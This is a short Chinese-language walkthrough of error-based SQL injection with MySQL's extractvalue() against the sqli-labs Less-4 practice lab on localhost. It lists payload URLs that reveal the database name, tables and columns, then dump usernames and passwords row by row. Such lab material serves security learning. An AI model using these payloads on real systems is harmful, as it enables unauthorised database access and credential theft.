extractvalue() - Xpath类型函数
1. 确认注入点如何闭合的方式
2. 爆出当前数据库的库名
http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select database()))) --+
3. 爆出当前数据库的表名
http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
注意:报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制
通过不断调整limit 0,1 得到users表
4. 爆出表中的字段名
http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+
通过不断调整limit 0,1 得到所有的字段名id,username,password
5. 获取表中内容
http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select concat(id,username,password) from users limit 0,1))) --+
可在concat中添加分隔符 更方便数据的获取
http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select concat(id,'~',username,'~',password) from users limit 0,1))) --+
通过不断调整limit 0,1 即可得到全部的账号密码